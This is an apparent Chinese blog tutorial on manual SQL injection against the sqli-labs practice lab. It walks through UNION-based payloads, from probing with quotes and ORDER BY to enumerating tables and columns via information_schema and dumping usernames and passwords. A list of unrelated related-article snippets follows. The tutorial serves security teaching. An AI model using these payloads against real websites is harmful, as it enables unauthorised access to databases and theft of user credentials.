当前位置: 首页 > news >正文

SQL手工注入

目录

1.判断是否存在sql注入点

1.1我们在地址栏中输入?id=1'

1.2我们在地址栏中输入?id'--+

2.联合查询

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2爆出显示位,就是看看表格里面哪一列是在页面显示的

2.3获取当前数据名和版本号

2.4爆表

2.5爆字段名

2.6爆账号密码


1.判断是否存在sql注入点

1.1我们在地址栏中输入?id=1'

1.2我们在地址栏中输入?id'--+

根据结果可判断出是字符型注入,该页面存在回显,所以我们可以使用联合查询

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

2.联合查询

注意:联合查询两表之间列数必须相同

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 4 --+

?id=1'order by 3 --+

根据结果可判断出此表有3列

2.2爆出显示位,就是看看表格里面哪一列是在页面显示的

?id=-1'union select 1,2,3--+

注意:union查询时,如果左右两边都为真,则返回前者查询的结果,所以要让后面我们自己构造的查询语句回显的话,前面id必须填写一个查询不到的数,这里我填的是-1

可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。

2.3获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

通过结果知道当前表所处的数据库是security,版本是5.7.26

2.4爆表

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

根据结果可知当前security库下有四张表,并且users表最有可能存放用户信息

2.5爆字段名

我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

此语句是查询information_schema数据库下的columns表里users的列名

注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

通过上述操作可以得到两个敏感字段就是username和password,最有可能存放用户的账号密码

2.6爆账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

这样我们就爆出各个用户的账号密码了,本次手工注入到此结束。

相关文章:

SQL手工注入

目录 1.判断是否存在sql注入点 1.1我们在地址栏中输入?id1 1.2我们在地址栏中输入?id-- 2.联合查询 2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。 2.2爆出显示位,就是看看表格里面哪一列是在页面显示…...

【SQL】大的国家

目录 题目 分析 代码 题目 World表: ---------------------- | Column Name | Type | ---------------------- | name | varchar | | continent | varchar | | area | int | | population | int | | gdp | bigint | ----…...

8月5日学习笔记 glibc安装与安全用户角色权限

一,glibc安装 https://www.mysql.com/ 官⽹ https://downloads.mysql.com/archives/community/ https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-li nux-glibc2.12-x86_64.tar 安装步骤 1.安装依赖库 [rootlocalhost ~]# yum list installed |g…...

DrissionPage 一个替代selenium的pip --- 一个可以接管正在运行的chrome包

DrissionPage 一个替代selenium的pip包,持续更新 1、加载内容,并接管chrome浏览器 from DrissionPage import ChromiumPage, ChromiumOptions page ChromiumPage(addr_or_opts127.0.0.1:9222) print(page.title)ul page.eles(idform-submit) for i i…...

爬虫入门--了解相关工具

目录 1.爬虫与python 2.第一个爬虫 3.web请求的全过程 3.1服务器渲染 3.2前端JS渲染 4.浏览器工具 4.1Elements 4.2Console 4.3Source 4.4network(重点) 5.小结 1.爬虫与python 首先我们要知道,爬虫一定要用Python么? 非也~…...

django项目中通用的分页组件

文章目录 分页组件pager组件代码 分页组件 应用分页组件,需要以下两个步骤: 视图函数中:(先获取queryset,将request和queryset传入分页组件对象中,得到生成的html标签) def customer_list(requ…...

想实现ubuntu搭建sqli-labs靶场

目录 首先前期的nginx和php部署完成​编辑​编辑 Xftp导入sqli-labs 遇到了的问题 它提示我们请检查db-creds.inc 去尝试解决这个问题 尝试修改MySQL root密码 修改db-creds.inc配置 再次尝试依旧失败 思考:会不会是MySQL版本过高的原因 重新下载MySQL5.7.…...

tp8 按日期分组查出数据

1.如果数据库里时间字段都是时间戳,使用mysql中的from_unixtime()函数 field("from_unixtime(create_time,%Y-%m-%d) as time,group_concat(id)")->group(time)->select()2. 如果数据库是普通的日期格式(如2024-01-02 01:23:50)&#x…...

单例模式(懒汉模式,饿汉模式)

单例的饿汉模式:在主函数未调用之前该单例就已经存在了,所以不存在线程安全的问题。 class Singleton { private: Singleton(){} public:static Singleton s1;static Singleton* GetInstance(){return &s1;}Singleton(const Singleton&) delet…...

【Qt】Item Widgets 多元素控件

Qt中提供的多元素控件有: QListWidgetQListViewQTableWidgetQTableViewQTreeWidgetQTreeView 上述控件分为Widget和View,其区别如下: 以QTableWidget和QTableView为例 QTableView是基于MVC(Model-View-Controller)设计的控件。QTableView自身…...

sharded_inference_engine:MLXDynamicShardInferenceEngine;step

目录 sharded_inference_engine:MLXDynamicShardInferenceEngine 类属性 方法 __init__(self) async def infer_prompt(self, shard: Shard, prompt: str, inference_state: Optional[str] = None) -> (np.ndarray, str, bool) async def infer_tensor(self, shard: …...

JAVA开发学习-day21

JAVA开发学习-day21 1. 删除表单数据 根据ElementUI的官方组件指南&#xff0c;为表单每列的数据添加删除按钮 <el-table :data"tableData" style"width: 100%"><el-table-column prop"id" label"ID" width"180"…...

Python的安装环境以及应用

1.环境python2&#xff0c;Python 最新安装3.12可以使用源码安装 查看安装包 [rootpython001 ~]# yum list installed | grep epel 3[rootpython001 ~]# yum list installed | grep python [rootpython001 ~]# yum -y install python3 安装python3 查看版本 [root…...

TabLayout使用以及自定义tab标签

<?xml version"1.0" encoding"utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app"http://schemas.android.com/apk/res-auto"xmlns:tool…...

第二十节、有限状态机和抽象类多态

一、抽象类 挂载到动画器上的就是继承抽象类代码 1、使用onenable周期函数启用 2、在每一个周期函数中对抽象类进行调用 3、隐藏公开的变量...

SQL注入实例(sqli-labs/less-23)

0、初始网页 1、闭合方式判断 闭合符号为单引号&#xff0c;通过测试发现过滤了注释&#xff0c;所以直接闭合 2、确定查询表的列数 确定查询表的列数为3列 ?id1 order by 3 3、确定回显位置 回显位置为第二列和第三列 ?id-1 union select 1,2,3 4、查看当前登录和数据…...

3.Redis数据类型(二)

LIST List 是一个简单的双向链表&#xff0c;支持从两端进行插入和删除操作。 常用命令&#xff1a; lpush/rpush/lrange lpush 插入一个或多个元素到列表的左端。 rpush 插入一个或多个元素到列表的右端。 lrange key start stop 获取元素&#xff08;前闭后闭&#xff0…...

JavaWeb系列十一: Web 开发会话技术Session

Web 开发会话技术Session Session有什么用session基本原理session原理示意图session可以做什么如何理解Session Session常用方法Session底层实现机制原理分析图应用实例session实现原理动画 Session生命周期Session生命周期说明Session生命周期实例 作业布置 Session有什么用 …...

k8s中yaml文件的编写

目录 1.编写pod.yaml 2.编写deploment.yaml 3.编写service.yaml关联创建的pod 4.总结获取K8S资源配置清单文件模板方法 5.补充 1.编写pod.yaml vim demo1-pod.yaml apiVersion: v1 kind: Pod metadata:name: scj-podnamespace: xy101labels:app: nginxmylove: tangjunmyc…...

打卡第37天------动态规划

加油!不要放弃,那些冲进清北复交的高材生的水平真不是盖的,名不虚传,有实力的全能选手。我在刷题的过程中不得不表达一下对他们的钦佩。 这里在遍历顺序上可就有说法了。 如果求组合数就是外层for循环遍历物品,内层for遍历背包。如果求排列数就是外层for遍历背包,内层for…...

企业级Leantime容器化部署完整指南:从架构设计到生产环境最佳实践

企业级Leantime容器化部署完整指南&#xff1a;从架构设计到生产环境最佳实践 【免费下载链接】docker-leantime Official Docker Image for Leantime https://leantime.io 项目地址: https://gitcode.com/gh_mirrors/do/docker-leantime Leantime是一款开源的PHPJavaSc…...

为什么在银河麒麟上配置telnet?安全风险与替代方案探讨

银河麒麟系统中Telnet协议的深度安全剖析与现代替代方案 在国产操作系统银河麒麟上配置传统网络服务时&#xff0c;技术决策者常面临一个经典困境&#xff1a;是沿用熟悉的Telnet协议快速解决问题&#xff0c;还是投入资源迁移到更安全的现代方案&#xff1f;这个问题看似简单&…...

PlayCover:跨生态运行iOS应用的性能优化与无缝体验指南

PlayCover&#xff1a;跨生态运行iOS应用的性能优化与无缝体验指南 【免费下载链接】PlayCover Community fork of PlayCover 项目地址: https://gitcode.com/gh_mirrors/pl/PlayCover 价值主张&#xff1a;重新定义Apple生态边界 PlayCover作为专为Apple Silicon Mac设…...

C++ 编译器优化参数解析

C编译器优化参数解析&#xff1a;提升性能的关键 在C开发中&#xff0c;编译器优化是提升程序性能的重要手段。通过调整编译器的优化参数&#xff0c;开发者可以在不修改代码的情况下显著提高程序的运行效率、减少内存占用或缩短启动时间。不同的优化选项适用于不同的场景&…...

3种方法让旧打印机秒变AirPrint:Docker容器化改造指南

3种方法让旧打印机秒变AirPrint&#xff1a;Docker容器化改造指南 【免费下载链接】cups-avahi-airprint Docker image for CUPS intended as an AirPrint relay 项目地址: https://gitcode.com/gh_mirrors/cu/cups-avahi-airprint 你是否曾遇到过这样的场景&#xff1a…...

Leantime容器化部署实战指南:从环境搭建到生产运维

Leantime容器化部署实战指南&#xff1a;从环境搭建到生产运维 【免费下载链接】docker-leantime Official Docker Image for Leantime https://leantime.io 项目地址: https://gitcode.com/gh_mirrors/do/docker-leantime 环境准备&#xff1a;部署前的必要检查 系统兼…...

数据主权守护者:解决微信聊天记录永久保存难题的开源方案

数据主权守护者&#xff1a;解决微信聊天记录永久保存难题的开源方案 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/We…...

Dell G15终极散热控制:tcc-g15开源方案完全指南

Dell G15终极散热控制&#xff1a;tcc-g15开源方案完全指南 【免费下载链接】tcc-g15 Thermal Control Center for Dell G15 - open source alternative to AWCC 项目地址: https://gitcode.com/gh_mirrors/tc/tcc-g15 你是否厌倦了Dell G15游戏本自带的AWCC软件那臃肿的…...

vlan 2

...

OpenClaw学术助手:千问3.5-27B自动校对论文格式与参考文献

OpenClaw学术助手&#xff1a;千问3.5-27B自动校对论文格式与参考文献 1. 为什么需要自动化论文校对工具 作为科研工作者&#xff0c;我经历过无数次论文投稿前的格式调整噩梦。记得去年投稿某核心期刊时&#xff0c;光是调整参考文献格式就花了整整两天——期刊要求APA第六版…...